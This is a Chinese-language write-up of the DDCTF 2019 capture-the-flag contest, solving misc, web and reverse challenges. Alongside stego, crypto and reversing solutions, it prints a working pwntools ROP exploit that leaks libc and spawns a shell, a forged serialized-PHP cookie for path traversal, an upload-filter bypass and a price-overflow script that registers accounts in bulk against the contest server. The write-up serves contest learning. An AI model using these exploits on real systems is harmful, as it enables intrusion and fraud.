DDCTF 2019 Writeup

写在前面

基本没有pwn题,唯一一个还放在misc里了。。实在是有点难受,别的题算挺简单的,断断续续打了几天,记录一下吧。过几天抽空学一下pwn更多的技巧和angr、还有比较想学的是android类型的安全问题,继续加油

misc

真-签到题

DDCTF{return DDCTF::get(2019)->flagOf(0);}

北京地铁

lsb隐写的密文,zsteg提取:
秘钥提示在地铁图上,魏公村被标记了一下,用小写字母补\x00得到秘钥,ECB解密

1
2
3
4
from Crypto.Cipher import AES
import base64 as b
obj = AES.new('weigongcun'+'\x00'*6, AES.MODE_ECB)
print obj.decrypt(b.b64decode('iKk/Ju3vu4wOnssdIaUSrg=='))

strike

一开始以为简单溢出一下过大小的check、然后rop一个puts泄露libc就行了。结果error也是很吃惊,看了下汇编发现在esp上动了手脚,esp跑飞了。所以先打出栈地址然后rop就getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import sys
context.log_level = 'debug'
libc = ELF('./libc.so.6')
elf = ELF('./xpwn')

p = remote(sys.argv[1], sys.argv[2])
p.recv()
p.sendline('h'*39)
p.recvuntil('hhh\n')
ebp_addr = u32(p.recvuntil('password: ')[:4])
p.sendline('-1')
p.recv()

print "leak libc_start_main_got addr and return to main again"
payload = '1' * 68 + p32(ebp_addr + 8) + 'a'*8
payload += p32(elf.plt['puts']) + p32(0x8048669) + p32(elf.got['__libc_start_main'])
p.send(payload)
p.recvuntil('bye!\n')

libc_start_addr = u32(p.recvuntil('Enter username: ')[:4])
print hex(libc_start_addr)

libc_base = libc_start_addr - libc.symbols['__libc_start_main']
print 'libc_base',hex(libc_base)
system_addr = libc_base + libc.symbols['system']
print 'system_addr ',hex(system_addr)

shell_str = libc_base+libc.search('/bin/sh').next()


p.sendline('h'*39)
p.recvuntil('hhh\n')
ebp_addr = u32(p.recvuntil('password: ')[:4])
pause()
p.sendline('-1')
p.recv()
payload = '1' * 68 + p32(ebp_addr + 8) + 'a'*8
payload += p32(system_addr) + p32(0x8048669) + p32(shell_str)
p.send(payload)
p.interactive()

Wireshark

看http流量可以发现先访问了一个图片隐写站点,然后流量里一共有三张图。扣出来之后有一个无法显示,猜测是crc校验不对,根据crc爆破一下高度就可以看到key。然后访问图片隐写的站点拿另外两张图分别试一下,解密成功。转成ascii即可

1
2
3
#图片中隐藏的信息为:flag+AHs-#44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-
In [1]: '44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D'.decode('hex')
Out[1]: 'DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}'

联盟决策大会

正常拉格朗日差值,1组和2组分别恢复秘密key1和key2,然后用key1,key2恢复秘密key。用sage写一下跑出来是16进制编码,转成ascii得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
R = PolynomialRing(ZZ,'x')
p =0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
k = [0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E,
0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6,
0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D,
0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61,
0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8,
0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510]

poly1 = R(k[0]*(x-2)*(x-4)*inverse_mod((1-2)*(1-4),p))+R(k[1]*(x-1)*(x-4)*inverse_mod((2-1)*(2-4),p))+R(k[2]*(x-1)*(x-2)*inverse_mod((4-1)*(4-2),p))
poly2 = R(k[3]*(x-4)*(x-5)*inverse_mod(3-4,p)*inverse_mod(3-5,p))+R(k[4]*(x-3)*(x-5)*inverse_mod(4-3,p)*inverse_mod(4-5,p))+R(k[5]*(x-3)*(x-4)*inverse_mod(5-3,p)*inverse_mod(5-4,p))
k1 = int(hex(poly1(0)%p),16)
k2 = int(hex(poly2(0)%p),16)
poly3 = R(k1*(x-2)*inverse_mod(1-2,p))+R(k2*(x-1)*inverse_mod(2-1,p))
print hex(poly3(0)%p)

伪-声纹锁

根据提示写一个istft,刚开始跑出来距离题目要求的偏差小于0.001并没有实现,噪声还有点大,然后就试着取实部虚部的max、min、还有均值,发现均值的效果最好。拿AU去噪声,人声增强听了之后可以开始听了,有点听不出来的大概有三位,给出可能的结果、写个脚本比较有意义的flag就ok了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- encoding: utf-8 -*-
# written in python 3.6
__author__ = 'garzon'
import cmath
import librosa # v0.6.2, maybe ffmpeg is needed as backend
import numpy as np # v1.15.4
import sys
from PIL import Image # Pillow v5.4.1

window_size = 2048
step_size = 100
max_lim = 0.15
f_ubound = 2000
f_bins = 150
sr = 15000

def transform_x(x, f_ubound=f_ubound, f_bins=f_bins):
freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
seqs = []
for f in freqs:
seq = []
d = cmath.exp(-2j * cmath.pi * f / sr)
coeff = 1
for t in range(len(x)):
seq.append(x[t] * coeff)
coeff *= d
seqs.append(seq)
sums = []
for seq in seqs:
X = [sum(seq[:window_size])/window_size]
for t in range(step_size, len(x), step_size):
X.append(X[-1]-sum(seq[t-step_size:t])/window_size)
if t+window_size-step_size < len(x): X[-1] += sum(seq[t+window_size-step_size:t+window_size])/window_size
sums.append(X)
return freqs, np.array(sums)

def calc_diff(x, spec):
f, x = transform_x(x)
print(x.shape)
print(spec.shape)
if x.shape != spec.shape: return 999
print((np.abs(x)-np.abs(spec)))
return np.average((np.abs(x)-np.abs(spec))**2)

def linear_map(v, old_dbound, old_ubound, new_dbound, new_ubound):
return (v-old_dbound)*1.0/(old_ubound-old_dbound)*(new_ubound-new_dbound) + new_dbound

def image_to_array(img):
img_arr = linear_map(np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3), 0, 255, -max_lim, max_lim)
return img_arr[:, :, 1] + img_arr[:, :, 2] * 1j


def istft(stftdata):
meta = np.matrix.tolist(stftdata)
freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
fragment = stftdata.shape[1]*step_size
wav = [0 for _ in range(fragment+window_size)]

for idx_m in range(stftdata.shape[1]):
for idx_w in range(step_size*idx_m,step_size*idx_m+window_size):
idft = 0
for idx_f in range(len(freqs)):
idft+=meta[idx_f][idx_m]*cmath.exp(2j*cmath.pi*freqs[idx_f]*idx_w/sr)
wav[idx_w]+=idft
return wav[:fragment]

img_data = image_to_array(Image.open('fingerprint.png'))
print(img_data.shape)
wav_data = istft(img_data)
min_d = np.zeros(len(wav_data))
max_d = np.zeros(len(wav_data))
mean_d = np.zeros(len(wav_data))
for i in range(len(wav_data)):
min_d[i] = min(wav_data[i].real,wav_data[i].imag)
max_d[i] = max(wav_data[i].real,wav_data[i].imag)
mean_d[i] = (wav_data[i].real+wav_data[i].imag)/2

print('write wav')
librosa.output.write_wav('min.wav', np.array(min_d), sr=sr)
librosa.output.write_wav('max.wav', np.array(max_d), sr=sr)
librosa.output.write_wav('mean.wav', np.array(mean_d), sr=sr)

print('min')
sqr_diff = calc_diff(min_d, img_data)
print('sqr diff =', sqr_diff)
if sqr_diff < 0.001:
print('access granted, congratulations!')
else:
print('access denied')

print('max')
sqr_diff = calc_diff(max_d, img_data)
print('sqr diff =', sqr_diff)
if sqr_diff < 0.001:
print('access granted, congratulations!')
else:
print('access denied')

print('mean')
sqr_diff = calc_diff(mean_d, img_data)
print('sqr diff =', sqr_diff)
if sqr_diff < 0.001:
print('access granted, congratulations!')
else:
print('access denied')

# min
# sqr diff = 0.0016221320356399412
# access denied
# max
# sqr diff = 0.0013153755213765853
# access denied
# mean
# sqr diff = 0.0010791667492742317
# access denied
# DDCTF{VOICE_ENCODED_CHAL}

Web

发现jpg是flag.jpg的hex再base64两次的结果,泄露完index.php后提示看博客。脑洞太大坑了好久,最后发现是practice.txt.swp文件里有东西。。base64解码提示f1ag!ddctf.php,用f1agconfigddctf.php读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

附上uid访问/f1ag!ddctf.php拿到flag:DDCTF{436f6e67726174756c6174696f6e73}

web签到题

向app/Auth.php接口发送请求修改didictf_username为admin,此时可以看源码发现flag可以通过请求app/session.php得到,漏洞为php反序列化字符串漏洞需要先泄露出key值: post发送请求nickname:%s可以拿到key之后需要通过MD5校验,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib.parse
import hashlib
import requests

url = "http://117.51.158.44/app/Session.php"
key = 'EzblrbNS'
Application = 'O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}'

def enCookie():
hash = hashlib.md5((key + Application).encode('utf-8')).hexdigest()
rslt = urllib.parse.quote(Application) + hash
return rslt

cookie = 'ddctf_id=' + enCookie() + ';expires=Thu, 18-Apr-2019 01:33:01 GMT; Max-Age=7200'
headers = {'Cookie': cookie, 'didictf_username': 'admin'}
r = requests.post(url, headers=headers)
print(r.text)

Upload-IMG

很明显的二次渲染绕过问题,在github上找了个二次渲染绕过的php脚本jpg_payload,根据提示多挑几张图不同尺寸的大图先丢给服务器渲染,download下来使用jpg_payload写入提示的code:phpinfo(),再次上传成功绕过二次渲染。[Success]Flag=DDCTF{B3s7_7ry_php1nf0_d35382a128639fad}

大吉大利今晚吃鸡

chrome f12发现买票价格可以自己控制,尝试大整数溢出。当price=3458764513820540928时可以使用100元进行购票。购票函数如下

1
2
3
4
5
6
7
8
9
def buyTicket(Cookie_str):
headers = {'Cookie': Cookie_str}
ticket_price = {'ticket_price': '3458764513820540928'}
buy_ticket_url = 'http://117.51.147.155:5050/ctf/api/buy_ticket'
r = requests.get(buy_ticket_url, params = ticket_price, headers = headers)
if r.json()['code'] == 200 and r.json()['msg'] == '购买门票成功':
return r.json()['data'][0]['bill_id']
else:
return False

支付:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def payTicket(Cookie_str, bill_id_str):
headers = {'Cookie': Cookie_str}
pay_ticket_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket'
pay_info = {'bill_id': bill_id_str}
r = requests.get(pay_ticket_url, params = pay_info, headers = headers)
print(r.json())
if r.json()['code'] == 200 and r.json()['msg'] == '交易成功':
id_str = str(r.json()['data'][0]['your_id'])
ticket = r.json()['data'][0]['your_ticket']
result = {'id': id_str, 'ticket': ticket}
enermys.append(result)
return result
else:
return False

购票成功后发现要移除100选手,而且不能是自己,于是循环注册购票移除

整个脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests
import os

my_cookie = {'Cookie': 'user_name=yjw; REVEL_SESSION=db854a913e6c2730a72c83d5b3503096'}
my_ticket = {'id': '147', 'ticket': '4cc522f84f11189d9737ab18fc22fcd0'}


def register(num):
while True:
name_str = 'yjw111111111111' + str(num)
register_url = 'http://117.51.147.155:5050/ctf/api/register'
register_info = {'name': name_str, 'password': '1234567890'}
r = requests.get(register_url, params = register_info)
if r.json()['code'] == 200:
Cookie = r.headers['Set-Cookie']
Cookie = Cookie.split(' ')
Cookie = Cookie[0] + Cookie[2]
return Cookie
else:
num+=1

def isLogin(Cookie_str):
headers = {'Cookie': Cookie_str}
is_login_url = 'http://117.51.147.155:5050/ctf/api/is_login'
r = requests.get(is_login_url, headers = headers)
if r.json()['msg'] == '您已登陆':
return True
else:
return False


def signin(name_str):
signin_info = {'name': name_str, 'password':'1234567890'}
signin_url = 'http://117.51.147.155:5050/ctf/api/login'
r = requests.get(signin_url, params = signin_info)
if r.json()['code'] == 200:
Cookie = r.headers['Set-Cookie']
Cookie = Cookie.split(' ')
Cookie = Cookie[0] + Cookie[2]
return Cookie

def buyTicket(Cookie_str):
headers = {'Cookie': Cookie_str}
ticket_price = {'ticket_price': '3458764513820540928'}
buy_ticket_url = 'http://117.51.147.155:5050/ctf/api/buy_ticket'
r = requests.get(buy_ticket_url, params = ticket_price, headers = headers)
if r.json()['code'] == 200 and r.json()['msg'] == '购买门票成功':
return r.json()['data'][0]['bill_id']
else:
return False

def payTicket(Cookie_str, bill_id_str):
headers = {'Cookie': Cookie_str}
pay_ticket_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket'
pay_info = {'bill_id': bill_id_str}
r = requests.get(pay_ticket_url, params = pay_info, headers = headers)
print(r.json())
if r.json()['code'] == 200 and r.json()['msg'] == '交易成功':
id_str = str(r.json()['data'][0]['your_id'])
ticket = r.json()['data'][0]['your_ticket']
result = {'id': id_str, 'ticket': ticket}
enermys.append(result)
return result
else:
return False


def recallBill(Cookie_str, bill_id_str):
headers = {'Cookie': Cookie_str}
recall_bill_url = 'http://117.51.147.155:5050/ctf/api/recall_bill'
bill_info = {'bill_id': bill_id_str}
r = requests.get(recall_bill_url, params = bill_info, headers = headers)
if r.json()['status_code'] == 200 and r.json()['msg'] == '订单已取消':
return True
else:
return False

def showResult(Cookie_str):
headers = {'Cookie': Cookie_str}
result_url = 'http://117.51.147.155:5050/ctf/api/search_ticket'
r = requests.get(result_url, headers = headers)
enermys.append()

enermys = []
cnt = 5
num = 0
while True:
cookie = register(num)
print(cookie)
if not isLogin(cookie):
signin(cookie)
bill_id = buyTicket(cookie)
print(bill_id)
enermy = payTicket(cookie, bill_id)
print(enermy)
num += 1
url = 'http://117.51.147.155:5050/ctf/api/remove_robot'
my_headers = my_cookie
r1 = requests.get(url, headers=my_headers, params=enermy)
print(r1.json())
if r1.json()['data'] != []:
cnt -= 1
if cnt == 0:
break

print(enermys)

homebrew_event_loop

发现execute_event_loop()函数中可以输入?action:function#;arg1;argn型字符串执行function([arg1,arg2])

构造event链 ?action:trigger_event#;action:buy;5#action:get_flag;先买5个在get_flag,此时session[‘log’]中会有flag

利用flask session至签名不加密的性质,base64解密cookie可以得到flag。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import zlib
import sys


def cut(str):
return str.split('.')[0]

def decode(str):
rslt = str.replace('-', '+').replace('_','/')
length = len(rslt)
if length % 4 == 1:
rslt += '==='
elif length % 4 == 2:
rslt += '=='
elif length % 4 == 3:
rslt += '='
elif length % 4 == 0:
rslt = rslt
rslt = base64.b64decode(rslt)
rslt = zlib.decompress(rslt)
print(rslt)
return rslt


def main():
print(sys.argv[1])
json_str = cut(sys.argv[1])
print(json_str)
rslt = decode(json_str)
print(rslt)

main()

Reverse

windows1

file之后就能看到upx壳,去壳之后丢ida静态分析,很容易看到关键代码是一段查表:

大致猜出来表的位置在0x403018, 扣出来丢python里,取index使结果为DDCTF{reverseME},表地址和byte_402FF8的偏移是32, 解出来转ascii得到flag

1
2
3
4
5
In [1]: 0x3018 - 0x2ff8
Out[1]: 32
In [2]: tab = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('
In [3]: ans = 'DDCTF{reverseME}'
In [4]: flag = ''.join([ chr(tab.index(s)+32) for s in ans])

windows2

先查壳,脱壳后丢进ida

静态分析代码,输入进过一系列操作要输出reverse+,长度要是偶数

之后的函数中发现函数有查表 表中每一项异或一个数得到的表恰好是base64加密解密的表

推测加密函数与base64有关

进一步分析发现时base64解密函数

执行

1
b64decode('reverse+')

即可

Confused

使用hopper和ida进行逆向

先确定长度为开头DDCTF{ 中间长度0x12 最后为}

进一步确定中间字符

发现函数在栈中进行了一个初始化 大概长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a = [
0x65,
0,
0x00,
0x100001995, # xxxxf3 stop
0xF0,
0x100001D70,
0xF1,
0x100001a60,
0xf2,
0x100001aa0,
0xf4,
0x100001cb0,
0xf5,
0x100001b10,
0xf3,
0x100001b70,
0xf6,
0x100001b10,
0xf7,
0x100001d30,
0xf8,
0x100001c60,
0
]

a[0]的值为每一次应该输入的字符,在接下来的运行中会逐步变化。没运行一轮做一次判断,若不相等跳至fail

动态调试修改内存就能得到结果了

[0X68, 0X65, 0X6C, 0x6c, 0x6f,0x59, 0x6F, 0x75, 0x47, 0x6F, 0x74, 0x54, 0x68, 0x65, 0x46, 0x6c, 0x61, 0x67]

文章目录
  1. 1. 写在前面
  2. 2. misc
    1. 2.1. 真-签到题
    2. 2.2. 北京地铁
    3. 2.3. strike
    4. 2.4. Wireshark
    5. 2.5. 联盟决策大会
    6. 2.6. 伪-声纹锁
  3. 3. Web
    1. 3.1.
    2. 3.2. web签到题
    3. 3.3. Upload-IMG
    4. 3.4. 大吉大利今晚吃鸡
    5. 3.5. homebrew_event_loop
  4. 4. Reverse
    1. 4.1. windows1
    2. 4.2. windows2
    3. 4.3. Confused
|